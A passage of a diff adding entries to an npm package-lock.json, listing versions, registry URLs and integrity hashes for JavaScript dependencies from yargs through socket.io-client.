+                        "strip-ansi": "^5.0.0"
+                    }
+                },
+                "y18n": {
+                    "version": "4.0.3",
+                    "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
+                    "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ=="
+                },
+                "yargs": {
+                    "version": "13.3.2",
+                    "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz",
+                    "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==",
+                    "requires": {
+                        "cliui": "^5.0.0",
+                        "find-up": "^3.0.0",
+                        "get-caller-file": "^2.0.1",
+                        "require-directory": "^2.1.1",
+                        "require-main-filename": "^2.0.0",
+                        "set-blocking": "^2.0.0",
+                        "string-width": "^3.0.0",
+                        "which-module": "^2.0.0",
+                        "y18n": "^4.0.0",
+                        "yargs-parser": "^13.1.2"
+                    }
+                },
+                "yargs-parser": {
+                    "version": "13.1.2",
+                    "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz",
+                    "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==",
+                    "requires": {
+                        "camelcase": "^5.0.0",
+                        "decamelize": "^1.2.0"
+                    }
+                }
+            }
+        },
+        "sass-loader": {
+            "version": "7.3.1",
+            "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.3.1.tgz",
+            "integrity": "sha512-tuU7+zm0pTCynKYHpdqaPpe+MMTQ76I9TPZ7i4/5dZsigE350shQWe5EZNl5dBidM49TPET75tNqRbcsUZWeNA==",
+            "requires": {
+                "clone-deep": "^4.0.1",
+                "loader-utils": "^1.0.1",
+                "neo-async": "^2.5.0",
+                "pify": "^4.0.1",
+                "semver": "^6.3.0"
+            },
+            "dependencies": {
+                "json5": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+                    "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+                    "requires": {
+                        "minimist": "^1.2.0"
+                    }
+                },
+                "loader-utils": {
+                    "version": "1.4.0",
+                    "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz",
+                    "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==",
+                    "requires": {
+                        "big.js": "^5.2.2",
+                        "emojis-list": "^3.0.0",
+                        "json5": "^1.0.1"
+                    }
+                },
+                "pify": {
+                    "version": "4.0.1",
+                    "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+                    "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
+                },
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                }
+            }
+        },
+        "sax": {
+            "version": "1.2.4",
+            "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz",
+            "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw=="
+        },
+        "schedule": {
+            "version": "0.4.0",
+            "resolved": "https://registry.npmjs.org/schedule/-/schedule-0.4.0.tgz",
+            "integrity": "sha512-hYjmoaEMojiMkWCxKr6ue+LYcZ29u29+AamWYmzwT2VOO9ws5UJp/wNhsVUPiUeNh+EdRfZm7nDeB40ffTfMhA==",
+            "requires": {
+                "object-assign": "^4.1.1"
+            }
+        },
+        "scheduler": {
+            "version": "0.19.1",
+            "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.19.1.tgz",
+            "integrity": "sha512-n/zwRWRYSUj0/3g/otKDRPMh6qv2SYMWNq85IEa8iZyAv8od9zDYpGSnpBEjNgcMNq6Scbu5KfIPxNF72R/2EA==",
+            "requires": {
+                "loose-envify": "^1.1.0",
+                "object-assign": "^4.1.1"
+            }
+        },
+        "schema-utils": {
+            "version": "2.7.1",
+            "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz",
+            "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==",
+            "requires": {
+                "@types/json-schema": "^7.0.5",
+                "ajv": "^6.12.4",
+                "ajv-keywords": "^3.5.2"
+            }
+        },
+        "scss-tokenizer": {
+            "version": "0.2.3",
+            "resolved": "https://registry.npmjs.org/scss-tokenizer/-/scss-tokenizer-0.2.3.tgz",
+            "integrity": "sha512-dYE8LhncfBUar6POCxMTm0Ln+erjeczqEvCJib5/7XNkdw1FkUGgwMPY360FY0FgPWQxHWCx29Jl3oejyGLM9Q==",
+            "requires": {
+                "js-base64": "^2.1.8",
+                "source-map": "^0.4.2"
+            },
+            "dependencies": {
+                "source-map": {
+                    "version": "0.4.4",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz",
+                    "integrity": "sha512-Y8nIfcb1s/7DcobUz1yOO1GSp7gyL+D9zLHDehT7iRESqGSxjJ448Sg7rvfgsRJCnKLdSl11uGf0s9X80cH0/A==",
+                    "requires": {
+                        "amdefine": ">=0.0.4"
+                    }
+                }
+            }
+        },
+        "section-matter": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/section-matter/-/section-matter-1.0.0.tgz",
+            "integrity": "sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==",
+            "requires": {
+                "extend-shallow": "^2.0.1",
+                "kind-of": "^6.0.0"
+            },
+            "dependencies": {
+                "extend-shallow": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                    "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                    "requires": {
+                        "is-extendable": "^0.1.0"
+                    }
+                },
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+                }
+            }
+        },
+        "select-hose": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz",
+            "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg=="
+        },
+        "selfsigned": {
+            "version": "1.10.14",
+            "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.14.tgz",
+            "integrity": "sha512-lkjaiAye+wBZDCBsu5BGi0XiLRxeUlsGod5ZP924CRSEoGuZAw/f7y9RKu28rwTfiHVhdavhB0qH0INV6P1lEA==",
+            "requires": {
+                "node-forge": "^0.10.0"
+            }
+        },
+        "semver": {
+            "version": "7.3.7",
+            "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz",
+            "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==",
+            "requires": {
+                "lru-cache": "^6.0.0"
+            }
+        },
+        "semver-diff": {
+            "version": "3.1.1",
+            "resolved": "https://registry.npmjs.org/semver-diff/-/semver-diff-3.1.1.tgz",
+            "integrity": "sha512-GX0Ix/CJcHyB8c4ykpHGIAvLyOwOobtM/8d+TQkAd81/bEjgPHrfba41Vpesr7jX/t8Uh+R3EX9eAS5be+jQYg==",
+            "requires": {
+                "semver": "^6.3.0"
+            },
+            "dependencies": {
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                }
+            }
+        },
+        "send": {
+            "version": "0.18.0",
+            "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz",
+            "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==",
+            "requires": {
+                "debug": "2.6.9",
+                "depd": "2.0.0",
+                "destroy": "1.2.0",
+                "encodeurl": "~1.0.2",
+                "escape-html": "~1.0.3",
+                "etag": "~1.8.1",
+                "fresh": "0.5.2",
+                "http-errors": "2.0.0",
+                "mime": "1.6.0",
+                "ms": "2.1.3",
+                "on-finished": "2.4.1",
+                "range-parser": "~1.2.1",
+                "statuses": "2.0.1"
+            },
+            "dependencies": {
+                "mime": {
+                    "version": "1.6.0",
+                    "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+                    "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="
+                },
+                "ms": {
+                    "version": "2.1.3",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+                    "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+                }
+            }
+        },
+        "serialize-javascript": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz",
+            "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==",
+            "requires": {
+                "randombytes": "^2.1.0"
+            }
+        },
+        "serve-index": {
+            "version": "1.9.1",
+            "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz",
+            "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==",
+            "requires": {
+                "accepts": "~1.3.4",
+                "batch": "0.6.1",
+                "debug": "2.6.9",
+                "escape-html": "~1.0.3",
+                "http-errors": "~1.6.2",
+                "mime-types": "~2.1.17",
+                "parseurl": "~1.3.2"
+            },
+            "dependencies": {
+                "depd": {
+                    "version": "1.1.2",
+                    "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
+                    "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ=="
+                },
+                "http-errors": {
+                    "version": "1.6.3",
+                    "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz",
+                    "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==",
+                    "requires": {
+                        "depd": "~1.1.2",
+                        "inherits": "2.0.3",
+                        "setprototypeof": "1.1.0",
+                        "statuses": ">= 1.4.0 < 2"
+                    }
+                },
+                "inherits": {
+                    "version": "2.0.3",
+                    "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
+                    "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw=="
+                },
+                "setprototypeof": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz",
+                    "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ=="
+                },
+                "statuses": {
+                    "version": "1.5.0",
+                    "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz",
+                    "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA=="
+                }
+            }
+        },
+        "serve-static": {
+            "version": "1.15.0",
+            "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz",
+            "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==",
+            "requires": {
+                "encodeurl": "~1.0.2",
+                "escape-html": "~1.0.3",
+                "parseurl": "~1.3.3",
+                "send": "0.18.0"
+            }
+        },
+        "set-blocking": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
+            "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw=="
+        },
+        "set-value": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz",
+            "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==",
+            "requires": {
+                "extend-shallow": "^2.0.1",
+                "is-extendable": "^0.1.1",
+                "is-plain-object": "^2.0.3",
+                "split-string": "^3.0.1"
+            },
+            "dependencies": {
+                "extend-shallow": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                    "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                    "requires": {
+                        "is-extendable": "^0.1.0"
+                    }
+                }
+            }
+        },
+        "setimmediate": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz",
+            "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA=="
+        },
+        "setprototypeof": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
+            "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="
+        },
+        "sha.js": {
+            "version": "2.4.11",
+            "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.11.tgz",
+            "integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==",
+            "requires": {
+                "inherits": "^2.0.1",
+                "safe-buffer": "^5.0.1"
+            }
+        },
+        "shallow-clone": {
+            "version": "3.0.1",
+            "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz",
+            "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==",
+            "requires": {
+                "kind-of": "^6.0.2"
+            },
+            "dependencies": {
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+                }
+            }
+        },
+        "shallow-compare": {
+            "version": "1.2.2",
+            "resolved": "https://registry.npmjs.org/shallow-compare/-/shallow-compare-1.2.2.tgz",
+            "integrity": "sha512-LUMFi+RppPlrHzbqmFnINTrazo0lPNwhcgzuAXVVcfy/mqPDrQmHAyz5bvV0gDAuRFrk804V0HpQ6u9sZ0tBeg=="
+        },
+        "shallowequal": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/shallowequal/-/shallowequal-1.1.0.tgz",
+            "integrity": "sha512-y0m1JoUZSlPAjXVtPPW70aZWfIL/dSP7AFkRnniLCrK/8MDKog3TySTBmckD+RObVxH0v4Tox67+F14PdED2oQ=="
+        },
+        "shebang-command": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz",
+            "integrity": "sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==",
+            "requires": {
+                "shebang-regex": "^1.0.0"
+            }
+        },
+        "shebang-regex": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz",
+            "integrity": "sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ=="
+        },
+        "shell-quote": {
+            "version": "1.6.1",
+            "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.6.1.tgz",
+            "integrity": "sha512-V0iQEZ/uoem3NmD91rD8XiuozJnq9/ZJnbHVXHnWqP1ucAhS3yJ7sLIIzEi57wFFcK3oi3kFUC46uSyWr35mxg==",
+            "requires": {
+                "array-filter": "~0.0.0",
+                "array-map": "~0.0.0",
+                "array-reduce": "~0.0.0",
+                "jsonify": "~0.0.0"
+            }
+        },
+        "side-channel": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz",
+            "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==",
+            "requires": {
+                "call-bind": "^1.0.0",
+                "get-intrinsic": "^1.0.2",
+                "object-inspect": "^1.9.0"
+            }
+        },
+        "signal-exit": {
+            "version": "3.0.7",
+            "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
+            "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="
+        },
+        "simple-swizzle": {
+            "version": "0.2.2",
+            "resolved": "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.2.tgz",
+            "integrity": "sha512-JA//kQgZtbuY83m+xT+tXJkmJncGMTFT+C+g2h2R9uxkYIrE2yy9sgmcLhCnw57/WSD+Eh3J97FPEDFnbXnDUg==",
+            "requires": {
+                "is-arrayish": "^0.3.1"
+            },
+            "dependencies": {
+                "is-arrayish": {
+                    "version": "0.3.2",
+                    "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.2.tgz",
+                    "integrity": "sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ=="
+                }
+            }
+        },
+        "single-trailing-newline": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/single-trailing-newline/-/single-trailing-newline-1.0.0.tgz",
+            "integrity": "sha512-92j7GTWZUsnzRgU3NTJ6l9InTLJLMFugk/3k2FGIBEfcFj8HZnPZwu59OXzzlIr5a5lV3bVO4R1jvFO4gp6clA==",
+            "requires": {
+                "detect-newline": "^1.0.3"
+            }
+        },
+        "sisteransi": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
+            "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg=="
+        },
+        "slash": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+            "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="
+        },
+        "slice-ansi": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-2.1.0.tgz",
+            "integrity": "sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==",
+            "requires": {
+                "ansi-styles": "^3.2.0",
+                "astral-regex": "^1.0.0",
+                "is-fullwidth-code-point": "^2.0.0"
+            }
+        },
+        "slugify": {
+            "version": "1.6.5",
+            "resolved": "https://registry.npmjs.org/slugify/-/slugify-1.6.5.tgz",
+            "integrity": "sha512-8mo9bslnBO3tr5PEVFzMPIWwWnipGS0xVbYf65zxDqfNwmzYn1LpiKNrR6DlClusuvo+hDHd1zKpmfAe83NQSQ=="
+        },
+        "snapdragon": {
+            "version": "0.8.2",
+            "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz",
+            "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==",
+            "requires": {
+                "base": "^0.11.1",
+                "debug": "^2.2.0",
+                "define-property": "^0.2.5",
+                "extend-shallow": "^2.0.1",
+                "map-cache": "^0.2.2",
+                "source-map": "^0.5.6",
+                "source-map-resolve": "^0.5.0",
+                "use": "^3.1.0"
+            },
+            "dependencies": {
+                "define-property": {
+                    "version": "0.2.5",
+                    "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+                    "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
+                    "requires": {
+                        "is-descriptor": "^0.1.0"
+                    }
+                },
+                "extend-shallow": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                    "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                    "requires": {
+                        "is-extendable": "^0.1.0"
+                    }
+                }
+            }
+        },
+        "snapdragon-node": {
+            "version": "2.1.1",
+            "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz",
+            "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==",
+            "requires": {
+                "define-property": "^1.0.0",
+                "isobject": "^3.0.0",
+                "snapdragon-util": "^3.0.1"
+            },
+            "dependencies": {
+                "define-property": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+                    "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
+                    "requires": {
+                        "is-descriptor": "^1.0.0"
+                    }
+                },
+                "is-accessor-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-data-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-descriptor": {
+                    "version": "1.0.2",
+                    "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+                    "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+                    "requires": {
+                        "is-accessor-descriptor": "^1.0.0",
+                        "is-data-descriptor": "^1.0.0",
+                        "kind-of": "^6.0.2"
+                    }
+                },
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                },
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+                }
+            }
+        },
+        "snapdragon-util": {
+            "version": "3.0.1",
+            "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz",
+            "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==",
+            "requires": {
+                "kind-of": "^3.2.0"
+            }
+        },
+        "socket.io": {
+            "version": "3.1.1",
+            "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-3.1.1.tgz",
+            "integrity": "sha512-7cBWdsDC7bbyEF6WbBqffjizc/H4YF1wLdZoOzuYfo2uMNSFjJKuQ36t0H40o9B20DO6p+mSytEd92oP4S15bA==",
+            "requires": {
+                "@types/cookie": "^0.4.0",
+                "@types/cors": "^2.8.8",
+                "@types/node": "^14.14.10",
+                "accepts": "~1.3.4",
+                "base64id": "~2.0.0",
+                "debug": "~4.3.1",
+                "engine.io": "~4.1.0",
+                "socket.io-adapter": "~2.1.0",
+                "socket.io-parser": "~4.0.3"
+            },
+            "dependencies": {
+                "@types/node": {
+                    "version": "14.18.24",
+                    "resolved": "https://registry.npmjs.org/@types/node/-/node-14.18.24.tgz",
+                    "integrity": "sha512-aJdn8XErcSrfr7k8ZDDfU6/2OgjZcB2Fu9d+ESK8D7Oa5mtsv8Fa8GpcwTA0v60kuZBaalKPzuzun4Ov1YWO/w=="
+                },
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                }
+            }
+        },
+        "socket.io-adapter": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/socket.io-adapter/-/socket.io-adapter-2.1.0.tgz",
+            "integrity": "sha512-+vDov/aTsLjViYTwS9fPy5pEtTkrbEKsw2M+oVSoFGw6OD1IpvlV1VPhUzNbofCQ8oyMbdYJqDtGdmHQK6TdPg=="
+        },
+        "socket.io-client": {
+            "version": "3.1.1",
+            "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-3.1.1.tgz",
+            "integrity": "sha512-BLgIuCjI7Sf3mDHunKddX9zKR/pbkP7IACM3sJS3jha+zJ6/pGKRV6Fz5XSBHCfUs9YzT8kYIqNwOOuFNLtnYA==",
+            "requires": {
+                "@types/component-emitter": "^1.2.10",
